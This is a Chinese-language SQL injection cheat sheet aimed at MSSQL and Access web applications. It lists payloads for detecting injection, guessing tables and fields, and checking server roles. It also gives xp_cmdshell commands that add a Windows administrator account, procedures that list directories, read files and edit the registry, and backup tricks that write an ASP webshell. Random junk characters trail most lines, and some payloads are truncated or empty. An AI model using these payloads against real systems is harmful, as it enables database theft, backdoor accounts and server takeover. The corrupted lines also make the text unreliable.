1.判断是否有注入;and 1=1 ;and 1=2 dd$N4&
2.初步判断是否是mssql ;and user>0 H07j&
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3.注入参数是字符'and [查询条件] and ''=' E;qwoTmul
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' JvDsr0]\#
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5.判断数据库系统 8syo_sC |
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;and (select count(*) from sysobjects)>0 mssql B4}XK=)
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;and (select count(*) from msysobjects)>0 access ]Q3Gj@6
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 .*j+?
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 e0L;V@R
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9)">()8
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9.(1)猜字段的ascii值(access) |$PLZ,
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 =r~.I
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(2)猜字段的ascii值(mssql) 6"7qZq
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 qC )VT3
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10.测试权限结构(mssql) qj&)w9RLJE
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- @m V C
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- u3vmC:bV
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d<'xpdxc
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Wv"tAseu
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2?QJh2
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- PAHlj,n)
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;and 1=(select IS_MEMBER('db_owner'));-- &>e DCs
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11.添加mssql和系统的帐户 <+gl"lG
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;exec master.dbo.sp_addlogin username;-- v=tj.Vg
;exec master.dbo.sp_password null,username,password;-- &._!)al
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ]%|WE
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;exec master.dbo.xp_cmdshell 'net user username password Nz*sD^SJa
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- aLi_Hrb9
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- M"^Vf{X^
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12.(1)遍历目录 .KucjRI
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;create table dirs(paths varchar(100), id int) wy{>gvqK
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;insert dirs exec master.dbo.xp_dirtree 'c:\' u!o]Co>
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;and (select top 1 paths from dirs)>0 B#"|5
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J4"swPf
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(2)遍历目录 br Z,s
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1?|6odc
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O}_a3>1DY
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]"Y%M'
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~9r!m5ws
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $-Pqs
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13.mssql中的存储过程 3g[j%`k
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xp_regenumvalues 注册表根键, 子键 ^Opy6Bqb
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 H:-A; f!Z
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xp_regread 根键,子键,键值名 xDJ+BQ<1A
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;exec xp_regread tIb21c q
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 eQFb$C]R}y
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xp_regwrite 根键,子键, 值名, 值类型, 值 vM7v f6
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 U`8|9v
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 D2</^]3Su
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xp_regdeletevalue 根键,子键,值名 i*CQor6|z
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 kAN;S<jSE
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b"M`@';+
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14.mssql的backup创建webshell o}MzqKfu
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use model jD/7/G*
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create table cmd(str image); a3UPbl3^
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insert into cmd(str) values (''); {(Og/[
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backup database model to disk='c:\l.asp'; ;wXY3|@
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15.mssql内置函数 vZE|Z[M+<
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;and (select @@version)>0 获得Windows的版本号 b>QM~mq3^I
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3gG+`{<
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;and (select user_name())>0 爆当前系统的连接用户 *:9 >W$0u
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;and (select db_name())>0 得到当前连接的数据库 Ty3CBR{6
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16.简洁的webshell @1v3-n=
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use model i)7n c
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create table cmd(str image); ,$h(fM8GC
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insert into cmd(str) values (''); X_u@D;$
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backup database model to disk='g:\wwwtest\l.asp';